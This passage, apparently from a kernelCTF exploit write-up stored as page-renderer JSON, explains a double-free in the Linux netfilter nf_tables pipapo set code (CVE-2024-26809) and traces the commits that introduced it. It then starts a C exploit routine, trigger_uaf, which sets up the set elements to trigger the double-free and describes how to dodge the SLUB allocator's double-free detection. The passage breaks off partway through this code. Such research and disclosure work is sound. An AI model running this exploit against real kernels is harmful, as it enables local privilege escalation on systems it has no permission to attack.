set);\n",{"type":21,"tag":198,"props":54068,"children":54069},{"class":200,"line":24302},[54070],{"type":21,"tag":198,"props":54071,"children":54072},{"style":211},[54073],{"type":27,"value":11127},{"type":21,"tag":198,"props":54075,"children":54076},{"class":200,"line":24337},[54077],{"type":21,"tag":198,"props":54078,"children":54079},{"style":211},[54080],{"type":27,"value":1120},{"type":21,"tag":30,"props":54082,"children":54083},{},[54084,54086,54091,54093,54098,54100,54106,54108,54113,54115,54120,54122,54126,54128,54133,54134,54138,54140,54146],{"type":27,"value":54085},"It may appear as if it would be impossible to make ",{"type":21,"tag":194,"props":54087,"children":54089},{"className":54088},[],[54090],{"type":27,"value":51349},{"type":27,"value":54092}," true in the release step because the ",{"type":21,"tag":194,"props":54094,"children":54096},{"className":54095},[],[54097],{"type":27,"value":52721},{"type":27,"value":54099}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":21,"tag":194,"props":54101,"children":54103},{"className":54102},[],[54104],{"type":27,"value":54105},"set->dead",{"type":27,"value":54107}," flag. If a ",{"type":21,"tag":194,"props":54109,"children":54111},{"className":54110},[],[54112],{"type":27,"value":51395},{"type":27,"value":54114}," was marked for deletion, it receives the ",{"type":21,"tag":194,"props":54116,"children":54118},{"className":54117},[],[54119],{"type":27,"value":54105},{"type":27,"value":54121}," flag ",{"type":21,"tag":198,"props":54123,"children":54124},{},[54125],{"type":27,"value":3931},{"type":27,"value":54127},". If this flag is set, then the commit path will skip any commitments to this ",{"type":21,"tag":194,"props":54129,"children":54131},{"className":54130},[],[54132],{"type":27,"value":51395},{"type":27,"value":915},{"type":21,"tag":198,"props":54135,"children":54136},{},[54137],{"type":27,"value":18330},{"type":27,"value":54139},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":21,"tag":194,"props":54141,"children":54143},{"className":54142},[],[54144],{"type":27,"value":54145},"priv ->dirty",{"type":27,"value":54147}," flag is not cleared when it should have been.",{"type":21,"tag":22,"props":54149,"children":54151},{"id":54150},"tracing-the-guilty-commit",[54152],{"type":27,"value":54153},"Tracing the guilty commit",{"type":21,"tag":30,"props":54155,"children":54156},{},[54157,54159,54166,54168,54174,54176,54181,54183,54189],{"type":27,"value":54158},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":21,"tag":34,"props":54160,"children":54163},{"href":54161,"rel":54162},"https://ubuntu.com/security/CVE-2024-26809",[38],[54164],{"type":27,"value":54165},"advisories",{"type":27,"value":54167}," about this vulnerability will say it was introduced by this ",{"type":21,"tag":34,"props":54169,"children":54172},{"href":54170,"rel":54171},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[38],[54173],{"type":27,"value":53055},{"type":27,"value":54175},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":21,"tag":194,"props":54177,"children":54179},{"className":54178},[],[54180],{"type":27,"value":54105},{"type":27,"value":54182}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":21,"tag":34,"props":54184,"children":54187},{"href":54185,"rel":54186},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[38],[54188],{"type":27,"value":53055},{"type":27,"value":658},{"type":21,"tag":30,"props":54191,"children":54192},{},[54193],{"type":27,"value":54194},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":21,"tag":187,"props":54196,"children":54200},{"className":54197,"code":54198,"language":54199,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[54201],{"type":21,"tag":194,"props":54202,"children":54203},{"__ignoreMap":7},[54204,54212,54220,54227,54235,54243,54250,54258,54265,54273,54281,54288,54296,54304,54312,54320,54328,54336,54344,54352,54360,54367,54375,54383,54390,54398,54406,54414,54422,54430,54437,54445,54453],{"type":21,"tag":198,"props":54205,"children":54206},{"class":200,"line":201},[54207],{"type":21,"tag":198,"props":54208,"children":54209},{},[54210],{"type":27,"value":54211},"New elements that reside in the clone are not released in case that the\n",{"type":21,"tag":198,"props":54213,"children":54214},{"class":200,"line":217},[54215],{"type":21,"tag":198,"props":54216,"children":54217},{},[54218],{"type":27,"value":54219},"transaction is aborted.\n",{"type":21,"tag":198,"props":54221,"children":54222},{"class":200,"line":236},[54223],{"type":21,"tag":198,"props":54224,"children":54225},{"emptyLinePlaceholder":16},[54226],{"type":27,"value":1283},{"type":21,"tag":198,"props":54228,"children":54229},{"class":200,"line":260},[54230],{"type":21,"tag":198,"props":54231,"children":54232},{},[54233],{"type":27,"value":54234},"[16302.231754] ------------[ cut here ]------------\n",{"type":21,"tag":198,"props":54236,"children":54237},{"class":200,"line":281},[54238],{"type":21,"tag":198,"props":54239,"children":54240},{},[54241],{"type":27,"value":54242},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":21,"tag":198,"props":54244,"children":54245},{"class":200,"line":302},[54246],{"type":21,"tag":198,"props":54247,"children":54248},{},[54249],{"type":27,"value":11127},{"type":21,"tag":198,"props":54251,"children":54252},{"class":200,"line":323},[54253],{"type":21,"tag":198,"props":54254,"children":54255},{},[54256],{"type":27,"value":54257},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":21,"tag":198,"props":54259,"children":54260},{"class":200,"line":344},[54261],{"type":21,"tag":198,"props":54262,"children":54263},{},[54264],{"type":27,"value":11127},{"type":21,"tag":198,"props":54266,"children":54267},{"class":200,"line":365},[54268],{"type":21,"tag":198,"props":54269,"children":54270},{},[54271],{"type":27,"value":54272},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":21,"tag":198,"props":54274,"children":54275},{"class":200,"line":386},[54276],{"type":21,"tag":198,"props":54277,"children":54278},{},[54279],{"type":27,"value":54280},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":21,"tag":198,"props":54282,"children":54283},{"class":200,"line":408},[54284],{"type":21,"tag":198,"props":54285,"children":54286},{},[54287],{"type":27,"value":11127},{"type":21,"tag":198,"props":54289,"children":54290},{"class":200,"line":429},[54291],{"type":21,"tag":198,"props":54292,"children":54293},{},[54294],{"type":27,"value":54295},"[16302.231917] Call Trace:\n",{"type":21,"tag":198,"props":54297,"children":54298},{"class":200,"line":450},[54299],{"type":21,"tag":198,"props":54300,"children":54301},{},[54302],{"type":27,"value":54303},"[16302.231919] \u003CTASK>\n",{"type":21,"tag":198,"props":54305,"children":54306},{"class":200,"line":468},[54307],{"type":21,"tag":198,"props":54308,"children":54309},{},[54310],{"type":27,"value":54311},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":21,"tag":198,"props":54313,"children":54314},{"class":200,"line":477},[54315],{"type":21,"tag":198,"props":54316,"children":54317},{},[54318],{"type":27,"value":54319},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":21,"tag":198,"props":54321,"children":54322},{"class":200,"line":494},[54323],{"type":21,"tag":198,"props":54324,"children":54325},{},[54326],{"type":27,"value":54327},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":21,"tag":198,"props":54329,"children":54330},{"class":200,"line":515},[54331],{"type":21,"tag":198,"props":54332,"children":54333},{},[54334],{"type":27,"value":54335},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":21,"tag":198,"props":54337,"children":54338},{"class":200,"line":4484},[54339],{"type":21,"tag":198,"props":54340,"children":54341},{},[54342],{"type":27,"value":54343},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":21,"tag":198,"props":54345,"children":54346},{"class":200,"line":4493},[54347],{"type":21,"tag":198,"props":54348,"children":54349},{},[54350],{"type":27,"value":54351},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":21,"tag":198,"props":54353,"children":54354},{"class":200,"line":4561},[54355],{"type":21,"tag":198,"props":54356,"children":54357},{},[54358],{"type":27,"value":54359},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":21,"tag":198,"props":54361,"children":54362},{"class":200,"line":4569},[54363],{"type":21,"tag":198,"props":54364,"children":54365},{"emptyLinePlaceholder":16},[54366],{"type":27,"value":1283},{"type":21,"tag":198,"props":54368,"children":54369},{"class":200,"line":4599},[54370],{"type":21,"tag":198,"props":54371,"children":54372},{},[54373],{"type":27,"value":54374},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":21,"tag":198,"props":54376,"children":54377},{"class":200,"line":4607},[54378],{"type":21,"tag":198,"props":54379,"children":54380},{},[54381],{"type":27,"value":54382},"elements in the lookup tables.\n",{"type":21,"tag":198,"props":54384,"children":54385},{"class":200,"line":4638},[54386],{"type":21,"tag":198,"props":54387,"children":54388},{"emptyLinePlaceholder":16},[54389],{"type":27,"value":1283},{"type":21,"tag":198,"props":54391,"children":54392},{"class":200,"line":4646},[54393],{"type":21,"tag":198,"props":54394,"children":54395},{},[54396],{"type":27,"value":54397},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":21,"tag":198,"props":54399,"children":54400},{"class":200,"line":4706},[54401],{"type":21,"tag":198,"props":54402,"children":54403},{},[54404],{"type":27,"value":54405},"cloned matching data if priv->dirty is set, because that means that\n",{"type":21,"tag":198,"props":54407,"children":54408},{"class":200,"line":9857},[54409],{"type":21,"tag":198,"props":54410,"children":54411},{},[54412],{"type":27,"value":54413},"cloned data might point to additional elements we did not commit to the\n",{"type":21,"tag":198,"props":54415,"children":54416},{"class":200,"line":9875},[54417],{"type":21,"tag":198,"props":54418,"children":54419},{},[54420],{"type":27,"value":54421},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":21,"tag":198,"props":54423,"children":54424},{"class":200,"line":9920},[54425],{"type":21,"tag":198,"props":54426,"children":54427},{},[54428],{"type":27,"value":54429},"to it).\"\n",{"type":21,"tag":198,"props":54431,"children":54432},{"class":200,"line":10026},[54433],{"type":21,"tag":198,"props":54434,"children":54435},{"emptyLinePlaceholder":16},[54436],{"type":27,"value":1283},{"type":21,"tag":198,"props":54438,"children":54439},{"class":200,"line":24302},[54440],{"type":21,"tag":198,"props":54441,"children":54442},{},[54443],{"type":27,"value":54444},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":21,"tag":198,"props":54446,"children":54447},{"class":200,"line":24337},[54448],{"type":21,"tag":198,"props":54449,"children":54450},{},[54451],{"type":27,"value":54452},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":21,"tag":198,"props":54454,"children":54455},{"class":200,"line":24345},[54456],{"type":21,"tag":198,"props":54457,"children":54458},{},[54459],{"type":27,"value":54460},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":21,"tag":30,"props":54462,"children":54463},{},[54464,54466,54471,54473,54478,54480,54485,54487,54492],{"type":27,"value":54465},"As we previously discussed, committing changes to a pipapo ",{"type":21,"tag":194,"props":54467,"children":54469},{"className":54468},[],[54470],{"type":27,"value":51395},{"type":27,"value":54472}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":21,"tag":194,"props":54474,"children":54476},{"className":54475},[],[54477],{"type":27,"value":52721},{"type":27,"value":54479}," method by simply replacing the ",{"type":21,"tag":194,"props":54481,"children":54483},{"className":54482},[],[54484],{"type":27,"value":51395},{"type":27,"value":54486},"s match object with its updated clone. So checking the ",{"type":21,"tag":194,"props":54488,"children":54490},{"className":54489},[],[54491],{"type":27,"value":51349},{"type":27,"value":54493}," flag and then calling free again ensures we also free uncommitted changes.",{"type":21,"tag":30,"props":54495,"children":54496},{},[54497,54499,54504],{"type":27,"value":54498},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":21,"tag":194,"props":54500,"children":54502},{"className":54501},[],[54503],{"type":27,"value":51395},{"type":27,"value":54505},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":21,"tag":30,"props":54507,"children":54508},{},[54509,54511,54517,54519,54524,54526,54531],{"type":27,"value":54510},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":21,"tag":194,"props":54512,"children":54514},{"className":54513},[],[54515],{"type":27,"value":54516},"set->ops->destroy()",{"type":27,"value":54518}," could be called without clearing the ",{"type":21,"tag":194,"props":54520,"children":54522},{"className":54521},[],[54523],{"type":27,"value":51349},{"type":27,"value":54525}," flag, which was fine considering you didn't have duplicated views of the ",{"type":21,"tag":194,"props":54527,"children":54529},{"className":54528},[],[54530],{"type":27,"value":51387},{"type":27,"value":54532},"s, so they would all be in the clone set.",{"type":21,"tag":30,"props":54534,"children":54535},{},[54536,54538,54543],{"type":27,"value":54537},"But when the ",{"type":21,"tag":194,"props":54539,"children":54541},{"className":54540},[],[54542],{"type":27,"value":54105},{"type":27,"value":54544}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":21,"tag":30,"props":54546,"children":54547},{},[54548],{"type":27,"value":54549},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":21,"tag":22,"props":54551,"children":54553},{"id":54552},"kernelctf-exploit",[54554],{"type":27,"value":54555},"KernelCTF exploit",{"type":21,"tag":30,"props":54557,"children":54558},{},[54559,54561,54567,54569,54576],{"type":27,"value":54560},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":21,"tag":194,"props":54562,"children":54564},{"className":54563},[],[54565],{"type":27,"value":54566},"nft_object + udata",{"type":27,"value":54568}," technique shared by lonial con in a ",{"type":21,"tag":34,"props":54570,"children":54573},{"href":54571,"rel":54572},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[38],[54574],{"type":27,"value":54575},"previous kernelCTF exploit",{"type":27,"value":658},{"type":21,"tag":59,"props":54578,"children":54580},{"id":54579},"trigger-uafavoid-double-free-detection",[54581],{"type":27,"value":54582},"Trigger UAF/avoid double-free detection",{"type":21,"tag":30,"props":54584,"children":54585},{},[54586,54588,54594,54596,54602],{"type":27,"value":54587},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":21,"tag":194,"props":54589,"children":54591},{"className":54590},[],[54592],{"type":27,"value":54593},"nft_set_pipapo_match_destroy",{"type":27,"value":54595}," iterates over the ",{"type":21,"tag":194,"props":54597,"children":54599},{"className":54598},[],[54600],{"type":27,"value":54601},"setelems",{"type":27,"value":54603}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":21,"tag":71,"props":54605,"children":54606},{},[54607,54612,54617,54622],{"type":21,"tag":75,"props":54608,"children":54609},{},[54610],{"type":27,"value":54611},"Element A gets freed",{"type":21,"tag":75,"props":54613,"children":54614},{},[54615],{"type":27,"value":54616},"Element B gets free",{"type":21,"tag":75,"props":54618,"children":54619},{},[54620],{"type":27,"value":54621},"Element A gets freed again (double-free)",{"type":21,"tag":75,"props":54623,"children":54624},{},[54625],{"type":27,"value":54626},"Element B gets freed again (double-free)",{"type":21,"tag":187,"props":54628,"children":54630},{"className":29912,"code":54629,"language":29914,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[54631],{"type":21,"tag":194,"props":54632,"children":54633},{"__ignoreMap":7},[54634,54641,54702,54709,54716,54724,54731,54738,54746,54770,54791,54825,54886,54893,54901,54953,54960,54986,55013,55052,55081,55110,55132,55139,55146,55153,55161,55168,55176,55189,55202,55222,55229,55237,55259,55291,55336,55372,55400,55407,55414,55422,55429,55445,55452],{"type":21,"tag":198,"props":54635,"children":54636},{"class":200,"line":201},[54637],{"type":21,"tag":198,"props":54638,"children":54639},{"style":211},[54640],{"type":27,"value":11127},{"type":21,"tag":198,"props":54642,"children":54643},{"class":200,"line":217},[54644,54649,54653,54658,54662,54667,54671,54676,54681,54685,54689,54693,54698],{"type":21,"tag":198,"props":54645,"children":54646},{"style":211},[54647],{"type":27,"value":54648},"static void trigger_uaf(",{"type":21,"tag":198,"props":54650,"children":54651},{"style":249},[54652],{"type":27,"value":10213},{"type":21,"tag":198,"props":54654,"children":54655},{"style":1966},[54656],{"type":27,"value":54657}," mnl_socket",{"type":21,"tag":198,"props":54659,"children":54660},{"style":249},[54661],{"type":27,"value":10626},{"type":21,"tag":198,"props":54663,"children":54664},{"style":226},[54665],{"type":27,"value":54666},"nl",{"type":21,"tag":198,"props":54668,"children":54669},{"style":211},[54670],{"type":27,"value":828},{"type":21,"tag":198,"props":54672,"children":54673},{"style":249},[54674],{"type":27,"value":54675},"size_t",{"type":21,"tag":198,"props":54677,"children":54678},{"style":226},[54679],{"type":27,"value":54680}," size",{"type":21,"tag":198,"props":54682,"children":54683},{"style":211},[54684],{"type":27,"value":828},{"type":21,"tag":198,"props":54686,"children":54687},{"style":249},[54688],{"type":27,"value":19841},{"type":21,"tag":198,"props":54690,"children":54691},{"style":249},[54692],{"type":27,"value":10626},{"type":21,"tag":198,"props":54694,"children":54695},{"style":226},[54696],{"type":27,"value":54697},"msgqids",{"type":21,"tag":198,"props":54699,"children":54700},{"style":211},[54701],{"type":27,"value":789},{"type":21,"tag":198,"props":54703,"children":54704},{"class":200,"line":236},[54705],{"type":21,"tag":198,"props":54706,"children":54707},{"style":211},[54708],{"type":27,"value":11689},{"type":21,"tag":198,"props":54710,"children":54711},{"class":200,"line":260},[54712],{"type":21,"tag":198,"props":54713,"children":54714},{"style":211},[54715],{"type":27,"value":11127},{"type":21,"tag":198,"props":54717,"children":54718},{"class":200,"line":281},[54719],{"type":21,"tag":198,"props":54720,"children":54721},{"style":211},[54722],{"type":27,"value":54723}," // TRANSACTION 2\n",{"type":21,"tag":198,"props":54725,"children":54726},{"class":200,"line":302},[54727],{"type":21,"tag":198,"props":54728,"children":54729},{"style":211},[54730],{"type":27,"value":11127},{"type":21,"tag":198,"props":54732,"children":54733},{"class":200,"line":323},[54734],{"type":21,"tag":198,"props":54735,"children":54736},{"emptyLinePlaceholder":16},[54737],{"type":27,"value":1283},{"type":21,"tag":198,"props":54739,"children":54740},{"class":200,"line":344},[54741],{"type":21,"tag":198,"props":54742,"children":54743},{"style":211},[54744],{"type":27,"value":54745}," // create pipapo set\n",{"type":21,"tag":198,"props":54747,"children":54748},{"class":200,"line":365},[54749,54754,54758,54762,54766],{"type":21,"tag":198,"props":54750,"children":54751},{"style":211},[54752],{"type":27,"value":54753}," uint8_t desc[2] = {",{"type":21,"tag":198,"props":54755,"children":54756},{"style":2540},[54757],{"type":27,"value":41600},{"type":21,"tag":198,"props":54759,"children":54760},{"style":211},[54761],{"type":27,"value":828},{"type":21,"tag":198,"props":54763,"children":54764},{"style":2540},[54765],{"type":27,"value":41600},{"type":21,"tag":198,"props":54767,"children":54768},{"style":211},[54769],{"type":27,"value":2357},{"type":21,"tag":198,"props":54771,"children":54772},{"class":200,"line":386},[54773,54778,54782,54787],{"type":21,"tag":198,"props":54774,"children":54775},{"style":211},[54776],{"type":27,"value":54777}," set ",{"type":21,"tag":198,"props":54779,"children":54780},{"style":683},[54781],{"type":27,"value":3174},{"type":21,"tag":198,"props":54783,"children":54784},{"style":698},[54785],{"type":27,"value":54786}," create_set",{"type":21,"tag":198,"props":54788,"children":54789},{"style":211},[54790],{"type":27,"value":4268},{"type":21,"tag":198,"props":54792,"children":54793},{"class":200,"line":408},[54794,54799,54803,54808,54813,54817,54821],{"type":21,"tag":198,"props":54795,"children":54796},{"style":211},[54797],{"type":27,"value":54798}," batch, seq",{"type":21,"tag":198,"props":54800,"children":54801},{"style":683},[54802],{"type":27,"value":51645},{"type":21,"tag":198,"props":54804,"children":54805},{"style":211},[54806],{"type":27,"value":54807},", exploit_table_name, ",{"type":21,"tag":198,"props":54809,"children":54810},{"style":205},[54811],{"type":27,"value":54812},"\"pwn_set\"",{"type":21,"tag":198,"props":54814,"children":54815},{"style":211},[54816],{"type":27,"value":828},{"type":21,"tag":198,"props":54818,"children":54819},{"style":2540},[54820],{"type":27,"value":44257},{"type":21,"tag":198,"props":54822,"children":54823},{"style":211},[54824],{"type":27,"value":257},{"type":21,"tag":198,"props":54826,"children":54827},{"class":200,"line":429},[54828,54833,54837,54842,54846,54851,54855,54859,54863,54868,54873,54877,54881],{"type":21,"tag":198,"props":54829,"children":54830},{"style":211},[54831],{"type":27,"value":54832}," NFT_SET_INTERVAL ",{"type":21,"tag":198,"props":54834,"children":54835},{"style":683},[54836],{"type":27,"value":2100},{"type":21,"tag":198,"props":54838,"children":54839},{"style":211},[54840],{"type":27,"value":54841}," NFT_SET_OBJECT ",{"type":21,"tag":198,"props":54843,"children":54844},{"style":683},[54845],{"type":27,"value":2100},{"type":21,"tag":198,"props":54847,"children":54848},{"style":211},[54849],{"type":27,"value":54850}," NFT_SET_CONCAT, KEY_LEN, ",{"type":21,"tag":198,"props":54852,"children":54853},{"style":2540},[54854],{"type":27,"value":3931},{"type":21,"tag":198,"props":54856,"children":54857},{"style":211},[54858],{"type":27,"value":828},{"type":21,"tag":198,"props":54860,"children":54861},{"style":683},[54862],{"type":27,"value":3917},{"type":21,"tag":198,"props":54864,"children":54865},{"style":211},[54866],{"type":27,"value":54867},"desc, ",{"type":21,"tag":198,"props":54869,"children":54870},{"style":249},[54871],{"type":27,"value":54872},"NULL",{"type":21,"tag":198,"props":54874,"children":54875},{"style":211},[54876],{"type":27,"value":828},{"type":21,"tag":198,"props":54878,"children":54879},{"style":2540},[54880],{"type":27,"value":3482},{"type":21,"tag":198,"props":54882,"children":54883},{"style":211},[54884],{"type":27,"value":54885},", NFT_OBJECT_CT_EXPECT);\n",{"type":21,"tag":198,"props":54887,"children":54888},{"class":200,"line":450},[54889],{"type":21,"tag":198,"props":54890,"children":54891},{"emptyLinePlaceholder":16},[54892],{"type":27,"value":1283},{"type":21,"tag":198,"props":54894,"children":54895},{"class":200,"line":468},[54896],{"type":21,"tag":198,"props":54897,"children":54898},{"style":1233},[54899],{"type":27,"value":54900}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":21,"tag":198,"props":54902,"children":54903},{"class":200,"line":477},[54904,54908,54912,54916,54921,54925,54929,54933,54937,54941,54945,54949],{"type":21,"tag":198,"props":54905,"children":54906},{"style":640},[54907],{"type":27,"value":3840},{"type":21,"tag":198,"props":54909,"children":54910},{"style":211},[54911],{"type":27,"value":648},{"type":21,"tag":198,"props":54913,"children":54914},{"style":249},[54915],{"type":27,"value":19841},{"type":21,"tag":198,"props":54917,"children":54918},{"style":211},[54919],{"type":27,"value":54920}," i ",{"type":21,"tag":198,"props":54922,"children":54923},{"style":683},[54924],{"type":27,"value":3174},{"type":21,"tag":198,"props":54926,"children":54927},{"style":2540},[54928],{"type":27,"value":3855},{"type":21,"tag":198,"props":54930,"children":54931},{"style":211},[54932],{"type":27,"value":51609},{"type":21,"tag":198,"props":54934,"children":54935},{"style":683},[54936],{"type":27,"value":3159},{"type":21,"tag":198,"props":54938,"children":54939},{"style":2540},[54940],{"type":27,"value":8745},{"type":21,"tag":198,"props":54942,"children":54943},{"style":211},[54944],{"type":27,"value":51640},{"type":21,"tag":198,"props":54946,"children":54947},{"style":683},[54948],{"type":27,"value":51645},{"type":21,"tag":198,"props":54950,"children":54951},{"style":211},[54952],{"type":27,"value":789},{"type":21,"tag":198,"props":54954,"children":54955},{"class":200,"line":494},[54956],{"type":21,"tag":198,"props":54957,"children":54958},{"style":211},[54959],{"type":27,"value":29989},{"type":21,"tag":198,"props":54961,"children":54962},{"class":200,"line":515},[54963,54968,54973,54977,54982],{"type":21,"tag":198,"props":54964,"children":54965},{"style":226},[54966],{"type":27,"value":54967}," elem",{"type":21,"tag":198,"props":54969,"children":54970},{"style":211},[54971],{"type":27,"value":54972},"[i] ",{"type":21,"tag":198,"props":54974,"children":54975},{"style":683},[54976],{"type":27,"value":3174},{"type":21,"tag":198,"props":54978,"children":54979},{"style":698},[54980],{"type":27,"value":54981}," nftnl_set_elem_alloc",{"type":21,"tag":198,"props":54983,"children":54984},{"style":211},[54985],{"type":27,"value":3404},{"type":21,"tag":198,"props":54987,"children":54988},{"class":200,"line":4484},[54989,54994,54999,55004,55008],{"type":21,"tag":198,"props":54990,"children":54991},{"style":698},[54992],{"type":27,"value":54993}," memset",{"type":21,"tag":198,"props":54995,"children":54996},{"style":211},[54997],{"type":27,"value":54998},"(key, ",{"type":21,"tag":198,"props":55000,"children":55001},{"style":2540},[55002],{"type":27,"value":55003},"0x41",{"type":21,"tag":198,"props":55005,"children":55006},{"style":683},[55007],{"type":27,"value":1440},{"type":21,"tag":198,"props":55009,"children":55010},{"style":211},[55011],{"type":27,"value":55012}," i, KEY_LEN);\n",{"type":21,"tag":198,"props":55014,"children":55015},{"class":200,"line":4493},[55016,55021,55025,55029,55034,55039,55043,55048],{"type":21,"tag":198,"props":55017,"children":55018},{"style":698},[55019],{"type":27,"value":55020}," nftnl_set_elem_set",{"type":21,"tag":198,"props":55022,"children":55023},{"style":211},[55024],{"type":27,"value":706},{"type":21,"tag":198,"props":55026,"children":55027},{"style":226},[55028],{"type":27,"value":52440},{"type":21,"tag":198,"props":55030,"children":55031},{"style":211},[55032],{"type":27,"value":55033},"[i], NFTNL_SET_ELEM_OBJREF, 